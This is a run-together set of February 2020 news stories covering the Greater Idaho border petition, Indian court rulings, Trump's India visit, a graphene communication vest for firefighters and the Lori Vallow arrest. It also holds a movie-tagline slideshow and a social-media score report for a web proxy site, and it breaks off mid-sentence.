Republican Gov. Brad Little said its not that surprising. Little appeared on Fox News on Wednesday to talk about how a group of Oregon residents created a petition to move Idahos border west to include part of their state. The Greater Idaho project would allow some counties in Oregon to join conservative Idaho, which proponents say lines up better with their political values. If the project goes through, all but 14 of Oregons 36 counties would be part of Idaho, according to a news release on the Move Oregons Border for a Greater Idaho Facebook page. Theyre looking at Idaho fondly because of our regulatory atmosphere, our values, Little said on Fox & Friends. That doesnt surprise me one bit. He said there would be many governmental and legal hurdles to overcome before the new state lines would happen. At an annual breakfast with Idaho media, Little said a lot needs to happen before it becomes a reality. The decision to change Idaho and Oregons borders would need to go through both legislatures and the U.S. Congress for approval. I understand the frustration of some of my Oregon friends, about the rules, the laws, the regulations that are coming out of Oregon, but thats really a decision thats got to be made there, Little said. Its got to be made in Idaho, and its got to be made in Congress. The project is in very early stages, with the Greater Idaho group filing petitions with Douglas and Josephine county clerk officers for a local ballot measure that would ask if the county should instead become a county of Idaho, The News-Review said. It could make it on the ballot in November. If petitions are successful, the Greater Idaho project would like to eventually bring parts of Northern California into Idaho as well, according to the news release. Rural counties have become increasingly outraged by laws coming out of the Oregon Legislature that threaten our livelihoods, our industries, our wallet, our gun rights, and our values, Mike McCarter, one of the chief petitioners, said in a news release. We tried voting those legislators out but rural Oregon is outnumbered and our voices are now ignored. This is our last resort. Regardless of what happens, Little said the states name would remain Idaho. No matter what happens, well maintain our name, Little said. Love 3 Funny 4 Wow 1 Sad 0 Angry 0 Israelis who violate a mandatory 14-day home quarantine amid concerns they may be infected with the coronavirus face a sentence of up to seven years behind bars, according to a report, New York Post reports. Travelers returning to the Jewish state from China, Hong Kong, Macau, Singapore and Thailand are required to self-quarantine, the Times of Israel reported. Those who knowingly violate the measure could be hit with a seven years in prison, while those who do so out of negligence could be locked up for three years, according to the Health Ministry. The Health Ministry sees members of the public that have been requested to isolate themselves as full partners in preventing the spread of the disease in Israel, the ministry said in a statement. Were sure they will show responsibility toward their family members, friends, and toward sick and frail people in society, and reduce the risk of infections, it added. People were urged to report violators on a website dedicated to the deadly virus. The country announced earlier this week that it was refusing entry to all foreigners who had traveled to Thailand, Singapore, Hong Kong and Macau during the past two weeks. By PTI NAGPUR: The Nagpur bench of the Bombay High Court on Friday allowed the Bhim Army to hold a meeting of its workers at Reshimbagh Ground here on February 22, but imposed certain conditions. A division bench of Justices Sunil Shukre and Madhav Jamdar said the petition of the Dalit outfit, seeking permission for the conclave, is allowed with conditions. Bhim Army chief Chandrashekhar Azad is scheduled to address the meeting. On Tuesday, the HC had issued notices to the Maharashtra government and the Nagpur police commissioner on the petition filed by a Bhim Army functionary. The sprawling ground is close to the headquarters of the Rashtriya Swayamsevak Sangh (RSS) and the Kotwali police had earlier denied permission for the gathering, citing law and order issues. After denial of permission, the Dalit group moved the high court here. The petition, filed by Bhim Army Nagpur district chief Praful Shende through his lawyer Firdos Mirza, said the outfit had got permission from the CP and Berar Education Society, which controls the Nagpur Improvement Trusted-owned ground, for the meeting. However, the Kotwali police station, under whose jurisdiction the ground falls, denied permission for the meet, citing law and order issues, the petition said. The plea sought direction from the HC to the state government and the police commissioner to grant permission to the Bhim Army to hold its workers' meeting. "Permission granted with conditions. It will be a workers' meet only. It shall not be converted into a demonstration or protest. "There should be no inflammatory speeches and the atmosphere should be peaceful. Besides, Chandrashekhar Azad should give an undertaking on the above conditions," the court said in its operative order on Friday. Any violation of the conditions will invite criminal action and contempt of court proceeding, the bench warned. The police department, in its affidavit filed in the court on Thursday, said the organisation is seeking permission to stage a protest against the Citizen (Amendment) Act and the National Register of citizens at a location which is near the RSS headquarters. "The organisation of the petitioner holds an ideology which is different, contrary and diverse to the ideology being professed by the RSS," the affidavit said. In such a scenario, the possibility of law and order situation being created at the centre of the protest cannot be ruled out, the police said. BAKU, Azerbaijan, Feb. 21 By Rufiz Hafizoglu - Trend: Cargo transshipment through Turkish Port of Ambarli in Istanbul exceeded 1.9 million tons in January 2020, a source in Turkeys Ministry of Transport and Infrastructure told Trend. The volume of cargo transshipment by ships flying the Turkish flag through the Port of Ambarli amounted to 209,142 tons, and by ships flying the flag of other countries 1.6 million tons. Some 820,981 tons of cargo were transited through the Port of Ambarli in January 2020. In January 2020, the volume of cargo transshipment through the Turkish ports exceeded 32.9 million tons. The volume of cargo transshipment by ships flying the Turkish flag exceeded 2.4 million tons. During this month, the volume of cargo transshipment through Turkish ports by ships flying the Turkish flag amounted to 1.5 million tons, and by ships flying the flag of other countries 29 million tons. In January 2020, over 6.1 million tons of cargo was transported by transit through the Turkish ports. --- Follow the author on Twitter: @rhafizoglu Chespirito is being celebrated today on what would have been his 91st birthday. The Mexican comedian, entertainer and producer, born Roberto Gomez Bolanos, is the subject of todays Google Doodle, which depicts the icon emerging from a TV set. Bolanos is widely credited with transforming the face of comedy in Latin America, with his famed character El Chavo del Ocho a beloved figure in Mexico. Despite no new episodes of the characters show being produced since 1980, it remains watched by millions worldwide. Born in 1929 in Mexico City, Bolanos studied engineering before transitioning into screenwriting. He would write for a number of Mexican films and television series, where his talents earned him the nickname Little Shakespeare. In 1970, he starred in his own sketch show, which launched a number of his most memorable characters notably El Chavo, an eight-year-old orphan. 47 funniest movie taglines Show all 47 1 /47 47 funniest movie taglines 47 funniest movie taglines Fifty Shades Freed (2018) "Don't miss the climax." Universal Pictures 47 funniest movie taglines The Addams Family (1991) "Weird is relative." Metro-Goldwyn-Mayer 47 funniest movie taglines Alien 3 (1992) "The bitch is back." 20th Century Fox 47 funniest movie taglines American Pie (1999) "There's something about your first piece." Universal Pictures 47 funniest movie taglines Army of Darkness (1992) "Trapped in time. Surrounded by evil. Low on gas." Universal Pictures 47 funniest movie taglines Bad Teacher (2011) "She doesnt give an F" Columbia Pictures 47 funniest movie taglines The Big Lebowski (1998) "Her life was in their hands. Now her toe is in the mail. PolyGram Filmed Entertainment 47 funniest movie taglines Bride of Chucky (1998) "Chucky gets lucky." Universal Pictures 47 funniest movie taglines Catch Me If You Can (2002) "The true story of a real fake." DreamWorks Pictures 47 funniest movie taglines Central Intelligence (2016) "Saving the world takes a little Hart and a big Johnson." Universal Pictures 47 funniest movie taglines Chicken Run (2000) "Escape or die frying." Pathe 47 funniest movie taglines Cop Out (2010) "Rock out with your glock out." Warner Bros Pictures 47 funniest movie taglines Dead Snow (2009) "Ein! Zwei! Die!" Euforia Film 47 funniest movie taglines Dumb and Dumber (1994) "For Harry and Lloyd, every day is a no-brainer." New Line Cinema 47 funniest movie taglines Edward Scissorhands (1990) "His story will touch you, even though he can't." 20th Century Fox 47 funniest movie taglines The First Wives Club (1996) "Don't get mad. Get everything." Paramount Pictures 47 funniest movie taglines A Fish Called Wanda (1988) "A tale of murder, lust, greed, revenge, and seafood." United International Pictures 47 funniest movie taglines The 40-Year-Old Virgin (2005) "The longer you wait, the harder it gets." Universal Pictures 47 funniest movie taglines Grosse Pointe Blank (1997) "Even a hitman deserves a second shot." Buena Vista Pictures 47 funniest movie taglines Hot Shots! Part Deux (1993) "Just deux it." 20th Century Fox 47 funniest movie taglines Lake Placid (1999) "Part mystery. Part thriller. Parts missing." 20th Century Fox / Sony Pictures Television 47 funniest movie taglines Liar Liar (1997) "Trust Me." Universal Pictures 47 funniest movie taglines The Magnificent Seven (1960) "They were seven... and they fought like 700." United Artists 47 funniest movie taglines Mars Attacks! (1996) "Nice Planet. We'll take it." Warner Bros 47 funniest movie taglines Monsters, Inc (2001) "You won't believe your eye." Buena Vista Pictures 47 funniest movie taglines Monty Python and the Holy Grail (1975) "Makes Ben-Hur look like an epic." EMI Films 47 funniest movie taglines My Cousin Vinny (1992) "A comedy of trial and error." 20th Century Fox 47 funniest movie taglines The Naked Gun (1988) "If you only see one movie this year... you need to get out more often." Paramount Pictures 47 funniest movie taglines The Naked Gun 33 1/3: The Final Insult "From the brother of the director of Ghost." Paramount Pictures 47 funniest movie taglines National Lampoon's Christmas Vacation (1989) "Yule crack up. Warner Bros 47 funniest movie taglines O Brother, Where Art Thou? (2000) "They have a plan, but not a clue" Universal Pictures 47 funniest movie taglines Office Space (1999) "Work sucks." 20th Century Fox 47 funniest movie taglines Predator 2 (1990) "He's in town with a few days to kill." 20th Century Fox 47 funniest movie taglines The Royal Tenenbaums (2001) Family isnt a word. Its a sentence. Buena Vista Pictures 47 funniest movie taglines Scary Movie 3 (2003) "Great trilogies come in threes." Dimension Films 47 funniest movie taglines Shaun of the Dead (2004) "A romantic comedy. With zombies." United International Pictures 47 funniest movie taglines Silent Rage (1982) "Science created him. Now Chuck Norris must destroy him." Columbia Pictures 47 funniest movie taglines The Simpsons Movie (2007) "See our family. And feel better about yours." 20th Century Fox 47 funniest movie taglines Spanking the Monkey (1994) Get a grip on yourself. Fine Line Features Axiom Films 47 funniest movie taglines Swingers (1996) "Cocktails first. Questions later." Miramax Films 47 funniest movie taglines There's Something About Mary (1998) Love is in the hair. 20th Century Fox 47 funniest movie taglines This Is Spinal Tap (1984) "Does for rock and roll what The Sound of Music did for hills." Embassy Pictures 47 funniest movie taglines Tommy Boy (1995) "If at first you don't succeed, lower your standards." Paramount Pictures 47 funniest movie taglines True Lies (1994) "When he said 'I do,' he never said what he did." Universal Pictures 47 funniest movie taglines Volcano (1997) The coast is toast. 20th Century Fox 47 funniest movie taglines Weekend at Bernie's (1989) "He may be dead, but hes the life of the party." 20th Century Fox 47 funniest movie taglines Why Him? (2016) "Of all the guys his daughter could have chosen..." 20th Century Fox Bolanos would go on to star in further television shows and films, as well as write the music for telenovelas. He would also serve as inspiration for the Simpsons character Bumblebee Man. Bolanos died in 2014 at the age of 85, but remains a cultural icon in Mexico and is today considered one of the most important comics of the 20th century. Share this article Whatsapp Facebook Twitter Linkedin Belseran Christ (The Jakarta Post) Maluku Fri, February 21, 2020 14:55 691 7f440ff09e92db75a02bbad2065d1841 1 National Maluku,indigenous-people,customary-forest,land-dispute,illegal-logging,Seram-Island Free The Eastern Seram Police have released four locals as of Thursday but continued to detain 22 others from Sabuai village, Siwalat district, Eastern Seram regency, Maluku, for staging a rally to protest a logging company operating in a forest the protesters claimed as their customary area. The police arrested them on Monday after the protest turned into a riot and the protesters chained some of the companys heavy equipment used to transport logs from Mount Ahwale forest, Sabuai. The protesters said even though they were being questioned as witnesses, they regarded the detention as part of an attempt to criminalize them. Yes, the police are still questioning us. There are 22 of us left, Hatuari, one of the residents detained at the Werinama Police, said on Thursday. He claimed that they were not being treated like witnesses. We ask the government or the [National Commission on Human Rights] to check up on us, Hatuari said. Eastern Seram Police spokesperson Brig. Suwardi Sobo confirmed the arrests of the 26 Sabuai villagers, saying that they were being examined as witnesses. We have not named any suspects, he said. He also said that of the 26 detained, four had been questioned and sent home. Read also: Land disputes still common, putting farmers' future in jeopardy Dozens of Sabuai people on Monday staged a demonstration in an attempt to stop the company from continuing its activities in the forest. Chairman of the Sabuai indigenous community, Nicko Ahwalam, said locals had repeatedly tried to stop the companys activities and issued a customary sanction against it. The company ignored it, he said. Sabuai residents claimed the companys logging activities were illegal. However, Maluku Forestry Agency head Fadly Lie said the company had obtained a license to log from the administration. It also holds a license to cultivate the forest area. They have followed regulations, said Fadli, who also claimed that the area was not a customary forest but areas for other uses known as APL. I have told the police and prosecutors in East Seram that the area is an APL, Fadly went on. Read also: New land law should address agrarian crises Nicko said the Mount Ahwale forest was home to wood of high economic value. The area is also rich in historical sites and legacies of residents' ancestors, such as Negeri Lama. This forest and mountain are part of our village. How can we give it up to be exploited? Nicko said. He added that the logging had also caused damaged to the environment, turning it into a barren forest. Just wait until the rainy season. It will for sure cause landslides and flooding. We live at the foot of the mountain. Landslides can hit our village, he said. Despite the forestry agencys insistence about the legality of the logging activities, residents and university students, grouped under the Sabuai Students Alliance, have claimed that the activities are illegal, which is why they have filed a report with the police. Sabuai customary government chief Friderik Nisdoam said in June last year that locals had never been invited to discuss the environmental impact of the companys activities and had not been notified about them. Donald Trump on Thursday said that India has been 'hitting us hard with tariffs for many many years.' But expressing his likeness for Prime Minister Narendra Modi, the US President added that 'great new trade deals will likely be done.' Continuing his complaints about India's 'unfair treatment' on trade policies with the United States, the President while addressing a rally in Colorado, said, "Great new trade deals will likely be done. I am going to India next week. They have been hitting us hard for many many years but I really like Prime Minister Modi. We'll talk a little businesses. They give us tariffs one of the highest in the But I hear they gonna have 10 million people showing up along one of the largest stadiums in the " "But you know what the only problem in doing that Prime Minister Modi said we will have a packed house. We have thousands of people who couldn't get in. It's going to look peanuts from now on. I have never been saddened by the crowd, but when we have 10 million people in India how can everyone be satisfied with a 60,000 seat stadium," Trump said. Ministry of External Affairs (MEA) spokesperson Raveesh Kumar, while answering a question on India-US trade deal during the weekly press briefing here on Thursday said India has been engaging with the US for quite some time, and we do hope to reach an understanding with an outcome that strikes the right balance for both sides. The US President will be arriving on his first official tour to India on February 24 for a two-day visit. The visiting dignitary is also expected to attend an event at the Motera Stadium in Ahmedabad, named 'Namaste Trump,' on the lines of the 'Howdy Modi' function that was addressed by the US President and Modi in Houston in September last year. A high-level delegation, including Senior Advisor Jared Kushner, US Trade Representative Robert Lighthizer, NSA Robert O'Brien, Secretary of Treasury Steve Mnuchin, Secretary of Commerce Wilbur Ross and Director, Office of Management and Budget, Mick Mulvaney, is further likely to accompany the US President to India. The President, meanwhile, noted that Prime Minister Narendra Modi, who represents "1.5 billion" Indians, has an advantage on Facebook, while referring to the number of followers the two leaders have on the social networking website. Trump said PM Modi is "number two" on Facebook in terms of followers and that he is number one as told to him directly by Facebook CEO Mark Zuckerberg. "I'm going to India next week, and we're talking about -- you know, they have 1.5 billion people. And Prime Minister Modi is number two on Facebook, number two. Think of that. You know who number one is? Trump. You believe that? Number one. I just found out," the President said during his address. Meanwhile, as Trump himself receives positive marks from the Indian public, some of his specific policies and trade attitudes in general do not garner a similar warm reception. According to Pew Research Centre, a Washington-based think tank, Trump's image in India has gained favour since his candidacy in 2016, jumping from 14 per cent confidence to 56 per cent over three years. However, when asked about their views of Trump's policy on increasing tariffs or fees on imported goods from other countries, nearly 48 per cent of Indians said they disapproved the following. In the past year, Washington has expanded aluminum and steel tariffs and also stripped New Delhi of its preferential trading partner status under the US Generalized System of Preferences (GSP) that provided better access to American markets and better tariff rates for Indian exporters; the Indian government then issued retaliatory tariffs against the Americans. Therefore, it is yet to see how new deals over trade fructify in the days coming soon. Trump and First Lady Melania Trump will have an extensive schedule for February 25 when they arrive in the national capital of India. According to sources, there will be multiple meetings and delegation-level talks apart from the exchange of agreements. Trump will also visit the US Embassy in New Delhi. After meeting, S Jaishankar and Vice President of India, Trump will move to the Rashtrapati Bhavan for the lavish dinner hosted by President of India Ram Nath Kovind. According to his tentative itinerary, Trump will leave for the United States by his special flight around 10 pm on February 25. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) : The Madras High Court on Friday dismissed a petition filed by Puducherry Chief Minister V Narayanasamy against Lieutenant Governor Kiran Bedi's decision to disburse cash instead of free rice to ration cardholders. Dismissing the petition, Justice C V Karthikeyan said that under the provisions of the Union Territory Act, the decision of the President is binding on the administrator and Ministers. "Under the law governing Union Territory, the decision on behalf of the President will be taken by the Ministry of Home Affairs and such a decision is for DBT and binding on the administrator, as well as Ministers," he said. Narayanaswamy submitted that the government, in furtherance of its poll promises in the 2016 assembly polls had passed a resolution on June 7, 2019 to continue the welfare scheme of providing the items in kind and referred the same to the Home Ministry on September 5. However, the Ministry advised the government to continue the scheme with the Direct Benefit Transfer (DBT) (cash) scheme in lieu of distribution of free rice. The administrator (Bedi) also passed an interim order that rice would not be supplied in kind, but the benefit would only be by DBT mode, he said. Counsel for the Lt Governor said the issue was only with respect to extension of benefit by supply of rice or by transfer of cash and therefore the petitioner was in no way directly affected by the communication. "The petition is liable to be rejected on the ground that under Section 55 of the government of Union Territories Act, 1963, any suit or case can be filed only in the name of the Union of India," the counsel said. Countering the submissions, counsel for Narayanasamy argued that though Union Territories are under the general control and supervision of the Union government, they are an independent entity on their own. He said the President had not delegated the power to the Lt Governor under the government of Union Territories Act, 1963, and therefore the impugned order was without jurisdiction. Justice Karthikeyan, recording the submissions, dismissed the petition, stating that the decision of the President was binding on the administrator and council of ministers and such a decision by the Lieutenant Governor has to be adhered to. Reacting to the verdict, Narayanawamy told a meeting of the PCC executive here that "it is a day of grief" for him, while Bedi welcomed it, saying the scheme 'will check all possible leakages and pilferages.' The Lt Governor, in a WhatsApp message, said the DBT scheme would empower people financially without any middlemen to buy rice of their choice and time, quality and quantity and also the places wherefrom they could purchase the rice. "The verdict also pointed out how the decision of the President is binding on all," she added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) London: Prince Harry and his wife Meghan have decided not to use the word "royal" in their branding after they start a new life in Canada following their decision to step back from royal duties. The decision follows weeks of talks between the couple and the British royal family about how they will present themselves to the world in the future. Harry and Meghan want to build a new life in Canada. Credit:Getty The couple agreed last month with Harry's grandmother, Queen Elizabeth, that they would no longer work as royals after their surprise announcement that they wanted to carve out a "progressive new role" which they hope to finance themselves. "It has been agreed that their non-profit organisation, when it is announced this [northern] Spring, will not be named Sussex Royal Foundation," a spokeswoman for the couple said. Add CoolSocial badge. Show it by adding this HTML code on your site: Youfastproxy.tk scored 42 Social Media Impact. Social Media Impact score is a measure of how much a site is popular on social networks. 2/5.0 Stars by Social Team This CoolSocial report was updated on 26 Jun 2013, you can refresh this analysis whenever you want. Add a widget like this on your site: click here The total number of people who shared the youfastproxy homepage on Delicious. The total number of people who shared the youfastproxy homepage on Google Plus by a google +1 button. This is the sum of two values: the total number of people who shared, liked or recommended the youfastproxy homepage on Facebook + the total number of page likes (if youfastproxy has a Facebook fan page). This is the sum of two values: the total number of people who shared the youfastproxy homepage on Twitter + the total number of youfastproxy followers (if youfastproxy has a Twitter account). The total number of people who shared the youfastproxy homepage on StumbleUpon. Basic Information PAGE TITLE YouFastProxy - Surf at Work or School with Free Web Proxy DESCRIPTION Privacy and anonymous web surfing, Feel free to browse the internet at school with YouFastProxy to unblock websites like Myspace, Bebo, Facebook, Friendster, hi5 and more KEYWORDS proxy, proxy sites, myspace proxies, browse at school, unblock myspace, proxy, free proxy, php proxy, browse, browse at school, surf anonymously OTHER KEYWORDS proxy, sites, youfastproxy, privacy, browse, unblock, cookies The description meta-tag found in the head section of the homepage. CoolSocial advanced keyword analysis tool is able to detect and analyze every keyword on each page of a site. The URL (Uniform Resource Locator) is the address of the site. The keywords meta-tag found in the head section of the homepage. The title found in the head section of the homepage. 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The total number of people who like website Facebook page. The description of the Facebook page describes website and its services to the social media users. The URL of the found Facebook page. Twitter account link TWITTER PAGE LINK NOT FOUND The Office of the United Nations High Commissioner for Refugees (UNHCR) has sent six trucks carrying humanitarian aid to the temporarily occupied territories of Donbas, according to the State Border Guard Service of Ukraine. "Six trucks from the Office of the UN High Commissioner for Refugees carrying humanitarian aid to the temporarily occupied territories of Ukraine crossed the Novotroitske checkpoint," the report says. The State Border Guard Service added that the total weight of humanitarian cargo consisting of school supplies made up more than 10 tonnes. As Ukrinform reported, on February 17 and 19, the International Committee of the Red Cross (ICRC) sent 5 and 11 trucks carrying humanitarian aid to the temporarily occupied territories of Donbas with a total weight of 300 tonnes. ish Why it matters: Being one of the largest companies in the world means Apples lawyers are kept busy. Its not just patent trolls and IP thieves it has they deal with; the firm is also trying to stop sales of a book written by a former executive. The book, called "App Store Confidential," is written by Tom Sadowski. He was Apple's App Store leader for Germany, Austria, and Switzerland from 2014 until he was fired by the company in December 2019. Reuters describes Sadowski as a self-styled German rapper, ski instructor and marketing manager, while the book is called part autobiography and part self-help guide for Generation Z readers looking to navigate their way into the tech scene. German publication Der Zeit writes that Sadowski and his publisher say that after the book was published in Germany this week, Apples lawyers sent a cease and desist letter that demanded they stop delivering the book to stores, recall all copies already sold, and destroy all manuscripts. Apple says it contains "business secrets" of "considerable economic value." Sadowski said he thought the book would benefit Apple rather than damage the company, adding that he shared the manuscript with Cupertino in advance of its publication. While the book contains tips for app developers on how to pitch to Apple, along with details of Sadowskis meetings with CEO Tim Cook, it reveals little to no secrets related to how Apple does business. "I really enjoyed working for Apple [...] I never had any intention of betraying any secrets or harming Apple, as anyone who has read the book will tell you, Sadowski told Reuters. But I also believe in the freedom of the press and freedom of speech and that every person and every company is equal before the law, and therefore I resist Apples demands." In a statement, Apple said it had long promoted a free press and supported authors of all types. "While we regret the way this longstanding Apple employee violated our working relationship, his actions left us with no other option but to terminate his employment a decision agreed upon by the works council." This isnt the first ex-employee Apple has gone after. Back in December, it sued former high-level chip designer Gerard Williams, who was in charge of A-series processors used in iPhones and iPads, for allegedly violated his contract and is exploiting Apple technology in his new venture. The road connecting Faridabad to Noida which was blocked for the last 69 days since the anti-Citizenship Amendment Act protests began at Shaheen Bagh in south east Delhi was opened briefly on Friday morning before it was blocked again by police barricades, said reports. News agency ANI had reported the opening of the road connecting Faridabad and Noida on Friday morning after the interlocutors appointed by the Supreme Court had indicated the possibility on Thursday night. According to livehindustan.com, the barricading of the road to Faridabad and Jaitpur from Mahamaya flyover in Noida was removed temporarily to ease congestion that had resulted due to a snag-hit vehicle impeding the flow of traffic near Noida Film City. The road was closed after it was briefly opened on Friday morning (HT Photo) The interlocutors appointed by the Supreme Court had yesterday indicated the possibility of the opening of some routes despite the stalemate in talks with the protestors who have refused to abandon their protest venue until the Citizenship Amendment Act they are opposing is repealed. Noida-Faridabad road has been reopened. It was shut for the last 69 days due to ongoing anti-CAA/NRC protest in Shaheen Bagh in Delhi https://t.co/zsV4kFoDlK pic.twitter.com/8sfks8e8LH ANI (@ANI) February 21, 2020 Senior advocates, Sanjay Hegde and Sadhana Ramachandran had first spoken of the possibility after the end of second days negotiations with the protestors who have blocked a major arterial road connecting southeast Delhi with satellite town Noida in Uttar Pradesh. Ramchandran said she along with Hegde visited some alternative routes--blocked by the policesuggested for reopening by some women protestors. We urged the protesters to come up with creative solutions to the traffic situation. We are happy that the Delhi police have co-operated with our suggestions and the usage of some roads may soon be restored especially for commuters going towards Faridabad, Hegde had said on Thursday evening. The protests at Shaheen Bagh started on December 15, 2019 on Road 13A connecting Delhi with Noida and it led to the police placing blockades at sever other alternative routes in the vicinity leading to severe traffic jams for commuters travelling between Noida, Delhi and Faridabad. High-Tech Solution for Hazardous Situations Reliable Transmissions Firefighter Dylan Murrays mission is to get in close to a cluster of leaking pipes and do what he can to stop the flow of noxious gas. Moments earlier, a gleaming white mobile command center arrived on the back of a matching truck and was set down onto the rain-soaked parking lot. A portable generator has been fired up and is supplying power to the module. The charred shells of several burned-out cars have been abandoned in a nearby parking lot. A late-model Chevy van is resting on its side close by.Murray stands alongside the command center with arms outstretched as Battalion Chief Stephen Hardesty and Capt. John Zour help him into his protective gear. Soon he is covered head to toe in a green disposable chemical-resistant jumpsuit, blue boots and black gloves. Duct tape seals the gaps at his wrists and ankles. It takes a few minutes to make sure his gas mask and helmet are secure and tightly sealed. Every part of his equipment is new except for the scuffed and scraped air tank strapped to his back.There is no actual emergency on this wet Tuesday in February. The mobile command center has been brought to Dylan Murrays home turf, the James N. Robey Public Safety Training Center in Howard County, Md. The bright red T-shirt under his protective gear has INSTRUCTOR emblazoned in white letters across the back. Besides fire and rescue training, the facility is used by police, sheriffs, SWAT teams and the FBI. The leaking gas pipes that Murray is attending to are stand-ins for the real thing. The four-story industrial-looking building they are attached to is routinely set ablaze and then extinguished by firefighters in training. The three firefighters are here today to demonstrate the capabilities of a new piece of equipment designed to aid first responders in their work while keeping them safer.In his protective gear, Murray steps away from the mobile command center and cautiously makes his way to the simulated gas leak next to the metal building. A rectangular aluminum plate on his chest is barely visible beneath the tangle of wires, hoses, buckles and straps that hold his equipment in place. Affixed to a black vest made of chemical-resistant material, the metal plate protects a new technology that makes communication and data transmission possible within inhospitable environments. HOT is spelled out in bold red letters across the top of the plate. A row of six small lights run vertically along one side. All are green except for the top one which is not illuminated. A thick cable snakes its way to a small camera fastened to the side of his helmet. Inside the command center, Chief Hardesty is directing the action, seeing what Murray sees, on a large wall-mounted monitor.The job of the firefighter is hazardous. In 2018 (the latest year figures are available), 82 firefighters died in the line of duty, of which 51 percent occurred during an emergency , according to the U.S. Fire Administration. Good communications is a key element to keeping injuries and fatalities as low as possible.First responders entering a dangerous or contaminated area, referred to as the hot zone, need to be in contact with their colleagues in the cold zone, the area used for staging and directing rescue efforts. Relying on cell service is not always an option. Underground, inhospitable and remote locations can make cell and radio communication difficult, if not impossible.Vorbeck Materials, a small Maryland company, designs and manufactures the new piece of wearable tech that Dylan Murray is demonstrating today. The company's vest allows fast and reliable video, voice and data communications in less-than-ideal situations. At the heart of this technology is a relatively new material called graphene. Just like coal or diamonds, graphene is nothing more than carbon. The difference is in the way the carbon atoms are arranged, in this case in tightly interlocking hexagons, like a honeycomb. The bonds between the atoms are extremely strong. Only one-atom thick, graphene is one of the strongest and lightest materials known to exist. It is also flexible, transparent, chemical-resistant and a highly efficient conductor of heat and electricity.Exceptional durability, light weight and high conductivity without the need for external antennas make the vest a viable option for firefighters who need to communicate when and where other systems wont work. Vorbeck has recently been showing its product at trade shows and there is interest from a few states and local jurisdictions, but to date, no one has paid the approximate $7,000-per-unit asking price, less than the existing voice-only options now on the market. In the meantime, Howard County is keeping a close watch on the testing being done by its local search and rescue team.Capt. Zour and his team of first responders have been working with Vorbeck for years, offering insights and advice along the way. Weve tested it inside concrete dams. Weve had success going below grade and inside of some pretty robust infrastructure, he says. The primary application for us, as we see it, is to be able to get inside of a building and have it reliably transmit outside the structure.It was Zour who came up with the colorful HOT and COLD labels affixed to the aluminum plates. He also labeled the row of small lights that indicate battery charge and network connection. Laminated copies of Zours Technology Quick-Start Guide are attached anywhere where they are sure to be seen. When a responder is answering a call, there might not be time to think about how to start and use a piece of equipment that may not have been touched in weeks.Besides the addition of clear labeling, other changes made to the vests may have been less obvious, but still important. Straps were widened and repositioned, cables moved and antennas repositioned, all in the interest of comfort, speed and uniformity. All their equipment, they put it on, and they pull forward to tighten. That was just something we wouldnt have known unless they showed us, says Vorbeck engineer Sriram Manivannan.They dont have a lot of time to put on gear. They need something that they can grab and throw on, and it has got to be ready, says John Lettow, Vorbecks president. You have to keep it super simple. When they put it on, they have to know how to work it and remember it like that, he says, snapping his fingers in the air. And then its useful to them.Lettow admits he did not fully appreciate the variety and complexity of dangerous situations firefighters encounter on the job. They are responding to everything from chemical spills to tractor trailer accidents on the highway to search-and-rescue scenarios. A first responder vehicle can pull up to an incident and that entry team or recon team or rescue team can go in and have communications amongst themselves, in the harshest environments, he says. Youre not worrying whether you have cell connectivity; this is building its own little network.Every person wearing a vest automatically becomes part of a closed mesh communications network capable of finding the best data route from hot zone to cold zone. When responders go to an incident site, all they have to do is turn on their vests. The system automatically finds partners and meshes together, says Manivannan. Its fully secure and its fully closed. If a commander comes on the site later on, if he has one of the vests, he can tap in by just turning it on. If desired, the closed mesh network can be plugged into any other available network so that information can be shared with anyone, anywhere.Responders can also drop breadcrumbs or smaller nodes as they are called, as they move through an area. These nodes also become part of the network. Cameras or sensors can be attached to the nodes, providing real-time pictures and information on areas already cleared. Any kind of data is transmittable through the network. Not only can the command center talk with colleagues in the hot zone and see what they see, sensors may relay temperature and air-quality information while biometrics keep tabs on the stress levels and physical well-being of responders in the hot zone.Data is data and this thing gets it out from one place to another, says Manivannan. What were really looking to do is make sure that each person who goes into a hazardous scenario as a first responder has live-streaming backup and can get their information out, says Lettow. And also get advice and assistance as theyre going in.The rain has stopped and sunlight is reflecting off the shallow puddles scattered across the training centers pavement. Firefighter Murray is returning to the command module, having completed his drill with the leaking gas pipes. He peels off his equipment and everything is packed up and put away. The communication vests are stacked neatly in their own case.Chief Zour can remember the first time Vorbecks president visited his station. John came by the firehouse asking if we had any needs, he says. We had quite a few. We realized that our ability to reliably transmit video and audio feed from a hot zone to a cold zone is one of those things that would really benefit our people. We were grossly deficient in that capability prior to starting this project. Lori Vallow, the 46-year-old woman wanted by authorities in Idaho in connection to the September disappearance of her two children, was arrested in Hawaii on Thursday. Vallow, under investigation by the Rexburg Police Department, was arrested by the Kaua'i Police Department on a warrant issued by Madison County, Idaho. She's facing multiple charges, including two felony counts of desertion and nonsupport of dependent children, police said in a statement. Her bail has been set at $5 million. MORE: Inside the mysterious case of 3 deaths, 2 missing children and a terrified husband Her children, 17-year-old Tylee Ryan and her 7-year-old adopted son Joshua "JJ" Vallow, have been missing since September, according to police. Her arrest comes about four weeks after she failed to comply with a court order to produce them in Madison County on Jan. 30. PHOTO: Lori Vallow, also known as Lori Daybell, the mother of two Idaho children missing since September, was arrested Feb. 20, 2020, in Hawaii, Kauai police said. (Kauai Police Department) Vallow on Friday appeared at a court hearing in Kaua'i, where she has been living with her fourth husband, Chad Daybell. She is scheduled to be back in court on March 2, when local authorities are seeking to turn her over to law enforcement officials from Idaho, where she'll face criminal charges. Daybell, who is not the father of either Tylee or JJ, was not arrested. In a Skype interview overnight with "Good Morning America," Larry Woodcock, the biological grandfather of JJ, said the news of Vallow's arrest was bittersweet. "We know it's a positive step forward," he said. "We also know that as good as this news is, is as bad as it is also because we still don't have children." MORE: Oldest son makes tearful plea to mom of 2 missing Idaho kids after she fails to bring them to police The children's safety was brought into question in November 2019 when Kay Woodcock, the biological grandmother of JJ, called Rexburg police and requested a welfare check, according to a probable cause affidavit obtained by ABC News. PHOTO: Missing children Joshua Vallow, 7, and Tylee Ryan, 17, were last seen on Sept. 23, 2019 in Rexburg, Idaho. (National Center for Missing and Exploited Children) When police arrived at Vallow's home Nov. 26, 2019, they were met by Vallow's brother, Alex Cox, and Daybell, whom she had married about four weeks earlier. Story continues Daybell "acted as if he didn't know Lori very well," while Cox said JJ was staying with Kay Woodcock, according to the affidavit, which notes that Cox's statement was "not likely true" because Woodcock was the one who requested the welfare check. When authorities found Vallow later that day, she claimed JJ was staying with a friend in Gilbert, 